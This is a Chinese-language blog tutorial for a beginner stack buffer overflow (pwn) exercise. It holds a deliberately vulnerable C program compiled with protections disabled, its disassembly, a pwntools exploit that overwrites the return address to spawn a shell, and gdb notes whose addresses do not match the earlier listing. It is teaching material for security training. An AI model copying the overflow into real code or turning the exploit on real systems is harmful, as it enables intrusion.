人生一pwn(入门训练)

提示:本文实验非一次完成,前后修改多次代码所以文中函数名、进程名等信息前后有所出入。

1、环境:
gcc version 7.5.0 (Ubuntu 7.5.0-3ubuntu1~18.04)

2、安装内容及命令:

安装pip
apt install python-pip

安装pwntools
pip install pwntools

3、溢出程序
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void you_can_bof()
{
execve("/bin/sh",(char *[]){0},(char *[]){0});
}

int main()
{
char buf[16];
puts("This is your first bof challenge:)");
fflush(stdout);
read(0,buf,0x30);
return 0;
}

4、编译:

gcc -g -fno-stack-protector -z execstack -no-pie -o bof bof.c

5、检查保护措施

checksec bof
[*] '/home/done/ctf/bof'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments

6、反汇编bof程序
命令:
objdump -d bof

查看调用函数“you_can_bof”的地址为 0x400607

0000000000400607 <you_can_bof>:
400607: 55 push %rbp
400608: 48 89 e5 mov %rsp,%rbp
40060b: 48 83 ec 10 sub $0x10,%rsp
40060f: 48 c7 45 f0 00 00 00 movq $0x0,-0x10(%rbp)
400616: 00 
400617: 48 c7 45 f8 00 00 00 movq $0x0,-0x8(%rbp)
40061e: 00 
40061f: 48 8d 55 f0 lea -0x10(%rbp),%rdx
400623: 48 8d 45 f8 lea -0x8(%rbp),%rax
400627: 48 89 c6 mov %rax,%rsi
40062a: 48 8d 3d d7 00 00 00 lea 0xd7(%rip),%rdi # 400708 <_IO_stdin_used+0x8>
400631: e8 ca fe ff ff callq 400500 <execve@plt>
400636: 90 nop
400637: c9 leaveq 
400638: c3 retq

0000000000400639 <main>:
400639: 55 push %rbp
40063a: 48 89 e5 mov %rsp,%rbp
40063d: 48 83 ec 10 sub $0x10,%rsp
400641: 48 8d 3d c8 00 00 00 lea 0xc8(%rip),%rdi # 400710 <_IO_stdin_used+0x10>
400648: e8 93 fe ff ff callq 4004e0 <puts@plt>
40064d: 48 8b 05 f4 09 20 00 mov 0x2009f4(%rip),%rax # 601048 <stdout@@GLIBC_2.2.5>
400654: 48 89 c7 mov %rax,%rdi
400657: e8 b4 fe ff ff callq 400510 <fflush@plt>
40065c: 48 8d 45 f0 lea -0x10(%rbp),%rax
400660: ba 30 00 00 00 mov $0x30,%edx
400665: 48 89 c6 mov %rax,%rsi
400668: bf 00 00 00 00 mov $0x0,%edi
40066d: e8 7e fe ff ff callq 4004f0 <read@plt>
400672: b8 00 00 00 00 mov $0x0,%eax
400677: c9 leaveq 
400678: c3 retq 
400679: 0f 1f 80 00 00 00 00 nopl 0x0(%rax)

7、exp代码

from pwn import *

r=process("./bof")

r.recvuntil(":)")
sh=0x400607    #“you_can_bof”函数地址
p='a'*16+'b'*8+p64(sh) #16位覆盖 bof的buf缓冲区,8位覆盖栈上rsp内容,最后使用p64()函数编码“you_can_bof”地址
print(p)
r.send(p)

r.interactive()

 

8、执行exp

python exp.py

结果:

python exp.py

[+] Starting local process './bof': pid 6423
aaaaaaaaaaaaaaaabbbbbbbb\x07@\x00\x00\x00
[*] Switching to interactive mode

$ whoami
root

 

9、gdb调试

查看当前栈数据,地址“0x7ffdfdb16f28”为正常的返回地址 

反汇编命令 disassemb main

对执行完read函数后的位置“0x0000000000401209”下断点

 

b * 0x0000000000401209

“c”命令继续执行

覆盖堆栈后数据,代码段地址"0x0000000000401204"地址处的read函数已经执行完毕,栈地址“0x7ffdfdb16f28”(返回地址)被覆盖为“0x401196”(要执行的函数地址)。备注:下图peda插件显示的栈指向数据包含附近数据

 

 

 之后代码执行了将$rip指向返回地址,从0x401196继续执行相应的返回给exp.py一个shell会话

 

posted @ 2020-10-18 17:08  S_m_workers  阅读(326)  评论(0)    收藏  举报